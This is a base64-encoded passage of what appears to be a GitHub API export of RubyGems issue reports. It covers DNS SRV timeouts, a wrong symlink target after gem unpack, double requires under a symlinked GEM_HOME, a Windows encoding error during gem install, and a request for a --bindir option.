B0aW9uIGBSZXNvbHY6OlJlc29sdlRpbWVvdXQnIGF0IC91c3IvbGliL3J1YnkvMi4zLjAvcmVzb2x2LnJiOjY5NCAtIFJlc29sdjo6UmVzb2x2VGltZW91dFxyXG5FeGNlcHRpb24gYFJlc29sdjo6UmVzb2x2VGltZW91dCcgYXQgL3Vzci9saWIvcnVieS8yLjMuMC9yZXNvbHYucmI6Njk0IC0gUmVzb2x2OjpSZXNvbHZUaW1lb3V0XHJcbkV4Y2VwdGlvbiBgUmVzb2x2OjpSZXNvbHZUaW1lb3V0JyBhdCAvdXNyL2xpYi9ydWJ5LzIuMy4wL3Jlc29sdi5yYjo2OTQgLSBSZXNvbHY6OlJlc29sdlRpbWVvdXRcclxuRXhjZXB0aW9uIGBSZXNvbHY6OlJlc29sdkVycm9yJyBhdCAvdXNyL2xpYi9ydWJ5LzIuMy4wL3Jlc29sdi5yYjoxMTA4IC0gRE5TIHJlc29sdiB0aW1lb3V0OiBfcnVieWdlbXMuX3RjcC5hcGkucnVieWdlbXMub3JnXHJcbkV4Y2VwdGlvbiBgUmVzb2x2OjpSZXNvbHZFcnJvcicgYXQgL3Vzci9saWIvcnVieS8yLjMuMC9yZXNvbHYucmI6NDk0IC0gRE5TIHJlc3VsdCBoYXMgbm8gaW5mb3JtYXRpb24gZm9yIF9ydWJ5Z2Vtcy5fdGNwLmFwaS5ydWJ5Z2Vtcy5vcmdcclxuR2V0dGluZyBTUlYgcmVjb3JkIGZhaWxlZDogRE5TIHJlc3VsdCBoYXMgbm8gaW5mb3JtYXRpb24gZm9yIF9ydWJ5Z2Vtcy5fdGNwLmFwaS5ydWJ5Z2Vtcy5vcmdcclxuKC4uLilcclxuXHJcbnJlYWxcdDFtMTYuMTEyc1xyXG51c2VyXHQwbTAuMzg4c1xyXG5zeXNcdDBtMC4wMTZzXHJcbmBgYFxyXG5cclxuV2hlbiBJIHRyeSB0byByZXNvbHZlIHRoaXMgaG9zdCAoYF9ydWJ5Z2Vtcy5fdGNwLmFwaS5ydWJ5Z2Vtcy5vcmdgKSBkaXJlY3RseSwgSSdtIGdldHRpbmcgYSB0aW1lb3V0IGFzIHdlbGw6IFxyXG5cclxuYGBgXHJcbiQgdGltZSBob3N0IF9ydWJ5Z2Vtcy5fdGNwLmFwaS5ydWJ5Z2Vtcy5vcmdcclxuOzsgY29ubmVjdGlvbiB0aW1lZCBvdXQ7IG5vIHNlcnZlcnMgY291bGQgYmUgcmVhY2hlZFxyXG5cclxucmVhbFx0MG0xMC4wMzJzXHJcbnVzZXJcdDBtMC4wMTZzXHJcbnN5c1x0MG0wLjAxNnNcclxuYGBgXHJcblxyXG5XaGljaCBsZWFkcyBtZSB0byBiZWxpZXZlIHRoYXQgUnVieSBHZW1zIG1pZ2h0IGJlIHRyeWluZyB0byByZXNvbHZlIHRoZSB3cm9uZyBob3N0bmFtZT9cclxuXHJcbkkgZm91bmQgYSBzaW1pbGFyIGlzc3VlICMxMDE3IHRoYXQgdGFsa3MgYWJvdXQgYSBkaWZmZXJlbnQgaG9zdG5hbWU6IGBfcnVieWdlbXMuX3RjcC5ydWJ5Z2Vtcy5vcmdgICh3aXRob3V0IGBhcGlgIGluIGl0KSwgd2hpY2ggaXMgcmVzb2x2ZWQgKGB0aW1lIGhvc3QgX3J1YnlnZW1zLl90Y3AucnVieWdlbXMub3JnYCkgaW4gMC4wNTIgc2Vjb25kcy5cclxuXHJcblRoaXMgaXMgb2NjdXJyaW5nIGluc2lkZSBhIFZhZ3JhbnQgYm94IGFzIHdlbGwgYXMgb24gbXkgaG9zdCBtYWNoaW5lIChib3RoIGFyZSBydW5uaW5nIFVidW50dSAxNi4wNCBhbmQgdGhlIGRlZmF1bHQgUnVieSBhbmQgUnVieSBHZW1zIHZlcnNpb25zIGZyb20gdGhlIFVidW50dSByZXBvc2l0b3JpZXMpLlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIEluc3RhbGxpbmcgYSBsaWJyYXJ5In0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDA3IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMDcvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMDcvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwNy9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwNyIsImlkIjoyNTYxOTUzMjIsIm51bWJlciI6MjAwNywidGl0bGUiOiJQbGVhc2UgcmV2ZXJ0IFBSIzE1NzgiLCJ1c2VyIjp7ImxvZ2luIjoidm94aWsiLCJpZCI6MTQ0MDYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE0NDA2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3ZveGlrIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MywiY3JlYXRlZF9hdCI6IjIwMTctMDktMDhUMDk6MzI6MThaIiwidXBkYXRlZF9hdCI6IjIwMTctMTEtMjJUMTI6MjY6NDRaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJJbiAjMTU3NyB0aGVyZSB3YXMgcmVwb3J0ZWQgaXNzdWUgd2l0aCBzeW1saW5rcyBhbmQgUFIgIzE1Nzggc3VwcG9zZWRseSBmaXhlZCB0aGlzLiBCdXQgdW5mb3J0dW5hdGVseSwgaXQgcHJvYmFibHkganVzdCBoaWRlcyB0aGUgaXNzdWUgYW5kIG1ha2VzIHRoaW5ncyB3b3JzZXIuIExvb2sgZm9yIGV4YW1wbGUgYXQgcmVkaGF0YWNjZXNzL2FzY2lpX2JpbmRlci9pc3N1ZXMvNjRcclxuXHJcbn5+flxyXG4kIGdlbSB1bnBhY2sgYXNjaWlfYmluZGVyXHJcbkZldGNoaW5nOiBhc2NpaV9iaW5kZXItMC4xLjEwLjEuZ2VtICgxMDAlKVxyXG5VbnBhY2tlZCBnZW06ICcvaG9tZS92b25kcnVjaC9mZi9hc2NpaV9iaW5kZXItMC4xLjEwLjEnXHJcblxyXG4kIGxsIGFzY2lpX2JpbmRlci0wLjEuMTAuMS9iaW4vXHJcbmNlbGtlbSAxMlxyXG4tcnd4ci14ci14LiAxIHZvbmRydWNoIHZvbmRydWNoIDk4NjQgIDguwqB6w6HFmSAxMC41OSBhc2NpaWJpbmRlclxyXG5scnd4cnd4cnd4LiAxIHZvbmRydWNoIHZvbmRydWNoICAgMTUgIDguwqB6w6HFmSAxMC41OSBhc2NpaV9iaW5kZXIgLT4gYmluL2FzY2lpYmluZGVyXHJcbn5+flxyXG5cclxuQXBwYXJlbnRseSwgdGhlIGBgYGFzY2lpX2JpbmRlcmBgYCBzaG91bGQgYmUgbGlua2UgdG8gYGBgYXNjaWliaW5kZXJgYGAsIGJ1dCBpdCBwb2ludHMgdG8gYGBgYmluL2FzY2lpYmluZGVyYGBgLlxyXG5cclxuSSdkIHNheSB0aGF0IHRoZSB0ZXN0IGF0dGFjaGVkIHRvICMxNTc4IGlzIGFjdHVhbGx5IHdyb25nLiBTcGVjaWZpY2FsbHkgdGhlIGxpbmUgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fcGFja2FnZS5yYiNMMTcwIHNob3VsZCBiZSBhY3R1YWxseTpcclxuXHJcbn5+flxyXG5hc3NlcnRfZXF1YWwgW3snbGliL2NvZGVfc3ltLnJiJyA9PiAnY29kZS5yYid9XSwgc3ltbGlua3Ncclxufn5+XHJcblxyXG5hbmQgdGhlIHJlc3Qgb2YgdGhlIGNvZGUgc2hvdWxkIGJlIGFkanVzdGVkIHRvIG1ha2UgdGhpcyB0ZXN0IGNhc2UgcGFzcy5cclxuXHJcbn5+flxyXG4kIGdlbSAtdlxyXG4yLjYuMTFcclxufn5+In0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDA1IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMDUvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMDUvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwNS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwNSIsImlkIjoyNTUxMTcxOTUsIm51bWJlciI6MjAwNSwidGl0bGUiOiJNYWtlIGZ1bGxfZ2VtX3BhdGggYWx3YXlzIHJldHVybiB0aGUgcmVhbHBhdGggdG8gbWFrZSBzeW1saW5rcyBhbmQgcmVxdWlyZV9yZWxhdGl2ZSBub3QgZG91YmxlLXJlcXVpcmUiLCJ1c2VyIjp7ImxvZ2luIjoiZ3Jvc3NlciIsImlkIjoxMTM2NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTEzNjc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ncm9zc2VyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MCwiY3JlYXRlZF9hdCI6IjIwMTctMDktMDRUMjE6MDg6MDdaIiwidXBkYXRlZF9hdCI6IjIwMTctMDktMDRUMjE6MDg6MDhaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJBIHN5bWxpbmtlZCBHRU1fSE9NRSBhbmQgcmVxdWlyZV9yZWxhdGl2ZSB3aWxsIHJlc3VsdCBpbiBkb3VibGUgcmVxdWlyZSBlcnJvcnMuXHJcblxyXG5Ob3RpY2VkIHRoZSBbaXNzdWUgb3JpZ2luYWxseV0oaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXIvYnVuZGxlci9pc3N1ZXMvNTk1Mykgd2hlbiB3b3JraW5nIHdpdGggYSBzeW1saW5rZWQgYnVuZGxlciBwYXRoIGB2ZW5kb3IvYnVuZGxlYCwgYnV0IGlkZWFsbHkgdGhlIGZpeCB3b3VsZCBsaXZlIGluIHJ1YnlnZW1zIHRvIG1ha2UgaXQgd29yayBjb25zaXN0ZW50bHkuIFxyXG5cclxuUmVwcm9kdWNlOlxyXG4gLSB1c2Ugc3ltbGlua2VkIEdFTV9IT01FXHJcbiAtIHJlcXVpcmUgYSBmaWxlXHJcbiAtIHJlcXVpcmVfcmVsYXRpdmUgdGhlIHNhbWUgZmlsZVxyXG5cclxuUmVzdWx0OiBmaWxlIGlzIGxvYWRlZCB0d2ljZVxyXG5cclxuRXhwZWN0ZWQ6IGZpbGUgaXMgbG9hZGVkIG9uY2VcclxuXHJcbi9jYyBAY29sYnktc3dhbmRhbGUgQHNlZ2lkZGlucyAifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMDIiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwMi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAwMi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDAyL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDAyIiwiaWQiOjI1NDYxMzM1MiwibnVtYmVyIjoyMDAyLCJ0aXRsZSI6IkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEVuY29kaW5nOjpJbnZhbGlkQnl0ZVNlcXVlbmNlRXJyb3IpIiwidXNlciI6eyJsb2dpbiI6ImplZHJla2RvbWFuc2tpIiwiaWQiOjU5MTE5NDUsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzU5MTE5NDU/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2plZHJla2RvbWFuc2tpIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vamVkcmVrZG9tYW5za2kiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qZWRyZWtkb21hbnNraS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qZWRyZWtkb21hbnNraS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qZWRyZWtkb21hbnNraS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamVkcmVrZG9tYW5za2kvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qZWRyZWtkb21hbnNraS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2plZHJla2RvbWFuc2tpL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2plZHJla2RvbWFuc2tpL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamVkcmVrZG9tYW5za2kvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2plZHJla2RvbWFuc2tpL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU3Mjg4NTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3BsYXRmb3JtOiUyMHdpbmRvd3MiLCJuYW1lIjoicGxhdGZvcm06IHdpbmRvd3MiLCJjb2xvciI6IjUzMTllNyIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMSwiY3JlYXRlZF9hdCI6IjIwMTctMDktMDFUMTE6Mjk6MTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMTEtMjlUMTM6NDk6NDVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ik9wZXJhdGluZyBzeXN0ZW06IFdpbmRvd3MgMTBcclxucnVieSAyLjQuMXAxMTEgKDIwMTctMDMtMjIgcmV2aXNpb24gNTgwNTMpIFt4NjQtbWluZ3czMl1cclxuYGBgXHJcbmdlbSBpbnN0YWxsIHJhaWxzXHJcbkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEVuY29kaW5nOjpJbnZhbGlkQnl0ZVNlcXVlbmNlRXJyb3IpXHJcbiAgICBpbmNvbXBsZXRlIFwiXFx4MDBcIiBvbiBVVEYtMTZMRVxyXG5gYGBcclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNi4xMVxyXG5gYGBcclxuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk5NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTk3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTk3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTciLCJpZCI6MjUzNjMyNTYxLCJudW1iZXIiOjE5OTcsInRpdGxlIjoicHJpc3RpbmUgLS1iaW5kaXIiLCJ1c2VyIjp7ImxvZ2luIjoieWFraW1hbnQiLCJpZCI6MTUyOTAwNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUyOTAwNj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMveWFraW1hbnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS95YWtpbWFudCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3lha2ltYW50L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3lha2ltYW50L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3lha2ltYW50L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy95YWtpbWFudC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3lha2ltYW50L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMveWFraW1hbnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMveWFraW1hbnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy95YWtpbWFudC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMveWFraW1hbnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjowLCJjcmVhdGVkX2F0IjoiMjAxNy0wOC0yOVQxMjowNjowNFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOS0wMlQxMzowMzo1MVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiQWRkIHN1cHBvcnQgb2YgYC0tYmluZGlyYCBhcmd1bWVudCBmb3IgcHJlc3RpbmUgdG9vbC5cclxuXHJcbkZvciBub3csIEkgY2FuJ3QgZG8gaXQgd2l0aCBtYWNPUyBlbnZpcm9ubWVudCBmb3IgZXhhbXBsZTpcclxuYGBgXHJcbiQgc3VkbyBnZW0gcHJpc3RpbmUgLS1hbGwgLS1vbmx5LWV4ZWN1dGFibGVzXHJcblJlc3RvcmluZyBnZW1zIHRvIHByaXN0aW5lIGNvbmRpdGlvbi4uLlxyXG4uLi5cclxuUmVzdG9yZWQgYXdzLXNkay0yLjcuMTVcclxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoRXJybm86OkVQRVJNKVxyXG4gICAgT3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQgLSAvdXNyL2Jpbi9hd3MucmJcclxuYGBgIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTk2IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTYvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTYvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk5Ni9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi